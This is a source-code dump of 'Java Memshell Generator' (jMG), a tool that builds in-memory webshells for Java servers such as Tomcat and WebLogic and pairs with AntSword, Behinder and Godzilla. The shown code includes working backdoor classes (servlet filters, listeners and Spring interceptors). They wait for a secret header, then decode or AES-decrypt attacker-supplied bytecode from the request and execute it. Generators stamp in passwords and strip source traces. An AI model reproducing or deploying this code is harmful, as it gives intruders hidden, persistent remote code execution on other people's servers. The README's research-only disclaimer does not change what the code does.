├── README.md ├── jmg-antsword ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── antsword │ ├── generator │ └── AntSwordGenerator.java │ ├── memshell │ ├── AntSwordFilter.java │ └── AntSwordListener.java │ └── util │ └── ShellUtil.java ├── jmg-behinder ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── behinder │ ├── generator │ └── BehinderGenerator.java │ ├── memshell │ ├── BehinderFilter.java │ ├── BehinderInterceptor.java │ └── BehinderListener.java │ └── util │ └── ShellUtil.java ├── jmg-core ├── pom.xml └── src │ └── main │ ├── java │ ├── jmg │ │ └── core │ │ │ ├── config │ │ │ ├── AbstractConfig.java │ │ │ └── Constants.java │ │ │ ├── format │ │ │ ├── BASE64Formater.java │ │ │ ├── BCELFormater.java │ │ │ ├── BCELoader.java │ │ │ ├── BCELoaderGenerator.java │ │ │ ├── BigIntegerFormater.java │ │ │ ├── IFormater.java │ │ │ ├── JARAgentFormater.java │ │ │ ├── JARFormater.java │ │ │ ├── JSPFormater.java │ │ │ └── JavaScriptFormater.java │ │ │ ├── generator │ │ │ ├── IShellGenerator.java │ │ │ └── InjectorGenerator.java │ │ │ ├── jMGCodeApi.java │ │ │ ├── template │ │ │ ├── GlassFishFilterInjectorTpl.java │ │ │ ├── GlassFishListenerInjectorTpl.java │ │ │ ├── JettyFilterInjectorTpl.java │ │ │ ├── JettyListenerInjectorTpl.java │ │ │ ├── ResinFilterInjectorTpl.java │ │ │ ├── ResinListenerInjectorTpl.java │ │ │ ├── SpringMVCAgentTransformer.java │ │ │ ├── SpringMVCInterceptorInjectorTpl.java │ │ │ ├── SpringWebFluxHandlerMethodInjectorTpl.java │ │ │ ├── TomcatAgentTransformer.java │ │ │ ├── TomcatFilterInjectorTpl.java │ │ │ ├── TomcatListenerInjectorTpl.java │ │ │ ├── UndertowFilterInjectorTpl.java │ │ │ ├── UndertowListenerInjectorTpl.java │ │ │ ├── WebLogicFilterInjectorTpl.java │ │ │ ├── WebLogicListenerInjectorTpl.java │ │ │ ├── WebSphereFilterInjectorTpl.java │ │ │ ├── WebSphereListenerInjectorTpl.java │ │ │ ├── WildFlyFilterInjectorTpl.java │ │ │ └── WildFlyListenerInjectorTpl.java │ │ │ └── util │ │ │ ├── ClassNameUtil.java │ │ │ ├── CommonUtil.java │ │ │ ├── CtClassUtil.java │ │ │ ├── InjectorUtil.java │ │ │ ├── JavassistUtil.java │ │ │ ├── PackageNameUtil.java │ │ │ ├── RandomHttpHeaderUtil.java │ │ │ └── ResponseUtil.java │ └── org │ │ └── springframework │ │ └── web │ │ └── servlet │ │ └── AsyncHandlerInterceptor.java │ └── resources │ └── jmg-agent.jar ├── jmg-custom ├── pom.xml └── src │ ├── main │ └── java │ │ └── jmg │ │ └── custom │ │ └── generator │ │ └── CustomGenerator.java │ └── test │ └── java │ └── test.java ├── jmg-docs ├── README_EN.md └── img │ └── gui.png ├── jmg-godzilla ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── godzilla │ ├── generator │ └── GodzillaGenerator.java │ ├── memshell │ ├── GodzillaFilter.java │ ├── GodzillaInterceptor.java │ ├── GodzillaListener.java │ └── GodzillaWebFluxHandlerMethod.java │ └── util │ └── ShellUtil.java ├── jmg-gui ├── pom.xml └── src │ └── main │ ├── java │ └── jmg │ │ └── gui │ │ ├── form │ │ ├── jMGForm.form │ │ └── jMGForm.java │ │ ├── jMGApp.java │ │ └── util │ │ ├── ComponentUtil.java │ │ ├── JExprUtil.java │ │ ├── MenuUtil.java │ │ ├── ResultUtil.java │ │ ├── ShellGeneratorUtil.java │ │ └── TextPaneUtil.java │ └── resources │ ├── messages_en.properties │ ├── messages_en.properties.bak │ ├── messages_zh.properties │ └── messages_zh.properties.bak ├── jmg-neoregeorg ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── neoregeorg │ ├── generator │ └── NeoreGeorgGenerator.java │ ├── memshell │ ├── NeoreGeorgFilter.java │ ├── NeoreGeorgInterceptor.java │ └── NeoreGeorgListener.java │ └── util │ └── ShellUtil.java ├── jmg-suo5 ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── suo5 │ ├── generator │ └── Suo5Generator.java │ ├── memshell │ ├── Suo5Filter.java │ ├── Suo5Interceptor.java │ └── Suo5Listener.java │ └── util │ └── ShellUtil.java └── pom.xml /README.md: -------------------------------------------------------------------------------- 1 |

English | 中文

2 |

3 |

Java Memshell Generator

4 |
5 | GitHub watchers 6 | GitHub forks 7 | GitLab Stars 8 |
9 |
一款支持高度自定义的 Java 内存马生成工具
10 |

11 | 12 | 13 | 14 |
15 | 16 | > [!WARNING] 17 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。 18 | 19 |
20 | 21 | ## 功能 22 | 23 | | 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 | 24 | |-----------|---------------|------------------------------------------------------------------|---------------|------------|---------| 25 | | Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 | 26 | | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | 27 | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | 28 | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | 29 | | WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | | 30 | | Undertow | | Custom | | JAR_AGENT | | 31 | | GlassFish | | | | JS | | 32 | | | | | | JSP | | 33 | 34 | ## 编译 35 | 36 | - maven 37 | 38 | ```shell 39 | mvn package assembly:single 40 | ``` 41 | 42 | - jmg-gui 43 | 44 | ```shell 45 | java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar 46 | ``` 47 | 48 | ## 文档 49 | 50 | - [jMG v1.0.8](https://9ex.org/jmg-1-0-8/) 51 | - [jMG v1.0.6](https://9ex.org/jmg-1-0-6/) 52 | - [jMG v1.0.5](https://9ex.org/jmg-1-0-5/) 53 | - [jMG v1.0.4](https://9ex.org/jmg-1-0-4/) 54 | 55 | ## 致谢 56 | 57 | - https://github.com/c0ny1 58 | - https://github.com/whwlsfb 59 | - https://github.com/feihong-cs/memShell 60 | - https://github.com/su18/MemoryShell 61 | - https://github.com/BeichenDream/GodzillaMemoryShellProject 62 | 63 | ## 协议 64 | 65 | - 遵循 MIT 协议 -------------------------------------------------------------------------------- /jmg-antsword/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | ${revision} 8 | 9 | jmg-antsword 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.antsword.util.ShellUtil; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | public class AntSwordGenerator implements IShellGenerator { 13 | 14 | @Override 15 | public void initShell(AbstractConfig config) { 16 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 17 | } 18 | 19 | @Override 20 | public byte[] makeShell(AbstractConfig config) throws Exception { 21 | initShell(config); 22 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 23 | String shellClassName = ShellUtil.getShellClassName(shellName); 24 | byte[] bytes = modifyShell(shellClassName, config); 25 | config.setShellBytes(bytes); 26 | config.setShellBytesLength(bytes.length); 27 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 28 | return bytes; 29 | } 30 | 31 | @Override 32 | public byte[] modifyShell(String className, AbstractConfig config) { 33 | byte[] bytes = new byte[0]; 34 | try { 35 | pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class)); 36 | CtClass ctClass = pool.getCtClass(className); 37 | ctClass.getClassFile().setVersionToJava5(); 38 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass()); 39 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 41 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 42 | 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | JavassistUtil.removeSourceFileAttribute(ctClass); 48 | bytes = ctClass.toBytecode(); 49 | ctClass.detach(); 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | return bytes; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletResponse; 6 | import java.io.IOException; 7 | import java.lang.reflect.Method; 8 | import java.net.URL; 9 | import java.net.URLClassLoader; 10 | 11 | public class AntSwordFilter implements Filter { 12 | public String pass; 13 | public String headerName; 14 | public String headerValue; 15 | 16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 17 | HttpServletRequest request = (HttpServletRequest) servletRequest; 18 | HttpServletResponse response = (HttpServletResponse) servletResponse; 19 | try { 20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 21 | String cls = request.getParameter(pass); 22 | if (cls != null) { 23 | try { 24 | byte[] data = doBase64Decode(cls); 25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 27 | method.setAccessible(true); 28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 29 | clazz.newInstance().equals(new Object[]{request, response}); 30 | } catch (Exception var7) { 31 | } 32 | } 33 | } else { 34 | filterChain.doFilter(servletRequest, servletResponse); 35 | } 36 | } catch (Exception e) { 37 | filterChain.doFilter(servletRequest, servletResponse); 38 | } 39 | } 40 | 41 | public byte[] doBase64Decode(String str) throws Exception { 42 | try { 43 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 45 | } catch (Exception var5) { 46 | Class clazz = Class.forName("java.util.Base64"); 47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 49 | } 50 | } 51 | 52 | public void init(FilterConfig filterConfig) throws ServletException { 53 | } 54 | 55 | public void destroy() { 56 | } 57 | } -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import javax.servlet.ServletRequestEvent; 4 | import javax.servlet.ServletRequestListener; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.Method; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | 12 | public class AntSwordListener implements ServletRequestListener { 13 | public String pass; 14 | public String headerName; 15 | public String headerValue; 16 | 17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 18 | } 19 | 20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 22 | try { 23 | HttpServletResponse response = getResponseFromRequest(request); 24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 25 | String cls = request.getParameter(pass); 26 | if (cls != null) { 27 | try { 28 | byte[] data = base64Decode(cls); 29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 31 | method.setAccessible(true); 32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 33 | clazz.newInstance().equals(new Object[]{request, response}); 34 | } catch (Exception var7) { 35 | } 36 | } 37 | } 38 | 39 | } catch (Exception ignored) { 40 | } 41 | } 42 | 43 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 44 | return null; 45 | } 46 | 47 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 48 | Field var2 = null; 49 | Class var3 = var0.getClass(); 50 | 51 | while (var3 != Object.class) { 52 | try { 53 | var2 = var3.getDeclaredField(var1); 54 | break; 55 | } catch (NoSuchFieldException var5) { 56 | var3 = var3.getSuperclass(); 57 | } 58 | } 59 | 60 | if (var2 == null) { 61 | throw new NoSuchFieldException(var1); 62 | } else { 63 | var2.setAccessible(true); 64 | return var2.get(var0); 65 | } 66 | } 67 | 68 | public byte[] base64Decode(String str) throws Exception { 69 | try { 70 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 71 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); 72 | } catch (Exception var5) { 73 | Class clazz = Class.forName("java.util.Base64"); 74 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 75 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); 76 | } 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.util; 2 | 3 | import jmg.antsword.memshell.AntSwordFilter; 4 | import jmg.antsword.memshell.AntSwordListener; 5 | import jmg.core.config.Constants; 6 | 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | public class ShellUtil { 11 | 12 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 13 | private static final Map> toolMap = new HashMap(); 14 | 15 | public ShellUtil() { 16 | } 17 | 18 | public static String getShellName(String toolType, String shellType) { 19 | Map shellMap = toolMap.get(toolType); 20 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 21 | } 22 | 23 | public static String getShellClassName(String shellName) throws Exception { 24 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 25 | throw new Exception("Invalid shell type '" + shellName + "'"); 26 | } else { 27 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 28 | } 29 | } 30 | 31 | static { 32 | SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); 34 | Map antSwordMap = new HashMap(); 35 | antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName()); 36 | antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); 37 | toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); 38 | } 39 | 40 | 41 | } 42 | -------------------------------------------------------------------------------- /jmg-behinder/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | ${revision} 8 | 9 | jmg-behinder 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.behinder.util.ShellUtil; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | 13 | public class BehinderGenerator implements IShellGenerator { 14 | 15 | @Override 16 | public void initShell(AbstractConfig config) { 17 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 18 | } 19 | 20 | @Override 21 | public byte[] makeShell(AbstractConfig config) throws Exception { 22 | initShell(config); 23 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 24 | String shellClassName = ShellUtil.getShellClassName(shellName); 25 | byte[] bytes = modifyShell(shellClassName, config); 26 | config.setShellBytes(bytes); 27 | config.setShellBytesLength(bytes.length); 28 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 29 | return bytes; 30 | } 31 | 32 | @Override 33 | public byte[] modifyShell(String className, AbstractConfig config) { 34 | byte[] bytes = new byte[0]; 35 | try { 36 | pool.insertClassPath(new ClassClassPath(BehinderGenerator.class)); 37 | CtClass ctClass = pool.getCtClass(className); 38 | ctClass.getClassFile().setVersionToJava5(); 39 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16)); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | JavassistUtil.removeSourceFileAttribute(ctClass); 48 | bytes = ctClass.toBytecode(); 49 | ctClass.detach(); 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | return bytes; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.*; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import javax.servlet.http.HttpSession; 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | 13 | 14 | public class BehinderFilter extends ClassLoader implements Filter { 15 | public String pass; 16 | public String headerName; 17 | public String headerValue; 18 | 19 | public Class g(byte[] b) { 20 | return super.defineClass(b, 0, b.length); 21 | } 22 | 23 | public BehinderFilter() { 24 | } 25 | 26 | public BehinderFilter(ClassLoader c) { 27 | super(c); 28 | } 29 | 30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 31 | HttpServletRequest request = (HttpServletRequest) servletRequest; 32 | HttpServletResponse response = (HttpServletResponse) servletResponse; 33 | 34 | try { 35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession(); 37 | Map obj = new HashMap(); 38 | obj.put("request", servletRequest); 39 | obj.put("response", response); 40 | obj.put("session", session); 41 | 42 | session.putValue("u", this.pass); 43 | Cipher c = Cipher.getInstance("AES"); 44 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); 45 | (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj); 46 | } else { 47 | filterChain.doFilter(servletRequest, servletResponse); 48 | } 49 | } catch (Exception e) { 50 | filterChain.doFilter(servletRequest, servletResponse); 51 | } 52 | } 53 | 54 | public byte[] doBase64Decode(String str) throws Exception { 55 | try { 56 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 57 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 58 | } catch (Exception var5) { 59 | Class clazz = Class.forName("java.util.Base64"); 60 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 61 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 62 | } 63 | } 64 | 65 | public void init(FilterConfig filterConfig) throws ServletException { 66 | } 67 | 68 | public void destroy() { 69 | } 70 | } -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import org.springframework.web.servlet.AsyncHandlerInterceptor; 4 | 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.http.Cookie; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import javax.servlet.http.HttpSession; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | import java.util.UUID; 14 | 15 | public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { 16 | 17 | 18 | public String pass; 19 | 20 | public String headerName; 21 | 22 | public String headerValue; 23 | 24 | 25 | public Class g(byte[] b) { 26 | return super.defineClass(b, 0, b.length); 27 | } 28 | 29 | 30 | public BehinderInterceptor(ClassLoader c) { 31 | super(c); 32 | } 33 | 34 | 35 | public BehinderInterceptor() { 36 | } 37 | 38 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 39 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 40 | try { 41 | HttpSession session = request.getSession(); 42 | Map obj = new HashMap(); 43 | obj.put("request", request); 44 | obj.put("response", response); 45 | obj.put("session", session); 46 | session.putValue("u", this.pass); 47 | Cipher c = Cipher.getInstance("AES"); 48 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); 49 | (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj); 50 | } catch (Exception e) { 51 | } 52 | return false; 53 | } else { 54 | return true; 55 | } 56 | } 57 | 58 | public static byte[] b64Decode(String bs) throws Exception { 59 | byte[] value = null; 60 | 61 | Class base64; 62 | try { 63 | base64 = Class.forName("java.util.Base64"); 64 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); 65 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); 66 | } catch (Exception var6) { 67 | try { 68 | base64 = Class.forName("sun.misc.BASE64Decoder"); 69 | Object decoder = base64.newInstance(); 70 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); 71 | } catch (Exception var5) { 72 | } 73 | } 74 | 75 | return value; 76 | } 77 | } 78 | 79 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.ServletRequestEvent; 6 | import javax.servlet.ServletRequestListener; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.lang.reflect.Field; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class BehinderListener extends ClassLoader implements ServletRequestListener { 15 | public String pass; 16 | 17 | public String headerName; 18 | 19 | public String headerValue; 20 | 21 | 22 | public BehinderListener() { 23 | } 24 | 25 | public BehinderListener(ClassLoader c) { 26 | super(c); 27 | } 28 | 29 | 30 | public Class g(byte[] b) { 31 | return super.defineClass(b, 0, b.length); 32 | } 33 | 34 | 35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 36 | } 37 | 38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 40 | try { 41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 42 | HttpServletResponse response = this.getResponseFromRequest(request); 43 | HttpSession session = request.getSession(); 44 | Map obj = new HashMap(); 45 | obj.put("request", request); 46 | obj.put("response", response); 47 | obj.put("session", session); 48 | try { 49 | session.putValue("u", pass); 50 | Cipher c = Cipher.getInstance("AES"); 51 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); 52 | (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); 53 | } catch (Exception var7) { 54 | } 55 | } 56 | } catch (Exception e) { 57 | 58 | } 59 | 60 | } 61 | 62 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 63 | return null; 64 | } 65 | 66 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 67 | Field var2 = null; 68 | Class var3 = var0.getClass(); 69 | 70 | while (var3 != Object.class) { 71 | try { 72 | var2 = var3.getDeclaredField(var1); 73 | break; 74 | } catch (NoSuchFieldException var5) { 75 | var3 = var3.getSuperclass(); 76 | } 77 | } 78 | 79 | if (var2 == null) { 80 | throw new NoSuchFieldException(var1); 81 | } else { 82 | var2.setAccessible(true); 83 | return var2.get(var0); 84 | } 85 | } 86 | 87 | public byte[] base64Decode(String str) throws Exception { 88 | try { 89 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 90 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 91 | } catch (Exception var5) { 92 | Class clazz = Class.forName("java.util.Base64"); 93 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 94 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.util; 2 | 3 | import jmg.behinder.memshell.BehinderFilter; 4 | import jmg.behinder.memshell.BehinderInterceptor; 5 | import jmg.behinder.memshell.BehinderListener; 6 | import jmg.core.config.Constants; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class ShellUtil { 12 | 13 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 14 | private static final Map> toolMap = new HashMap(); 15 | 16 | public ShellUtil() { 17 | } 18 | 19 | public static String getShellName(String toolType, String shellType) { 20 | Map shellMap = toolMap.get(toolType); 21 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 22 | } 23 | 24 | public static String getShellClassName(String shellName) throws Exception { 25 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 26 | throw new Exception("Invalid shell type '" + shellName + "'"); 27 | } else { 28 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 29 | } 30 | } 31 | 32 | static { 33 | SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); 36 | 37 | Map behinderMap = new HashMap(); 38 | behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); 39 | behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName()); 40 | behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); 41 | toolMap.put(Constants.TOOL_BEHINDER, behinderMap); 42 | 43 | } 44 | 45 | 46 | } 47 | -------------------------------------------------------------------------------- /jmg-core/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | java-memshell-generator 5 | jmg 6 | ${revision} 7 | 8 | 4.0.0 9 | jmg-core 10 | 11 | 12 | 13 | 14 | org.springframework 15 | spring-web 16 | 5.3.29 17 | 18 | 19 | 20 | org.springframework 21 | spring-webflux 22 | 5.3.29 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/config/AbstractConfig.java: -------------------------------------------------------------------------------- 1 | package jmg.core.config; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | public class AbstractConfig { 7 | 8 | 9 | private String injectorClassName; 10 | 11 | public String getInjectorClassName() { 12 | return injectorClassName; 13 | } 14 | 15 | public void setInjectorClassName(String injectorClassName) { 16 | this.injectorClassName = injectorClassName; 17 | } 18 | 19 | 20 | private boolean implementsASTTransformationType = false; 21 | 22 | private boolean implementsScriptEngineFactory = false; 23 | 24 | public void setImplementsASTTransformationType(boolean implementsASTTransformationType) { 25 | this.implementsASTTransformationType = implementsASTTransformationType; 26 | } 27 | 28 | public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) { 29 | this.implementsScriptEngineFactory = implementsScriptEngineFactory; 30 | } 31 | 32 | public boolean isImplementsASTTransformationType() { 33 | return implementsASTTransformationType; 34 | } 35 | 36 | public boolean 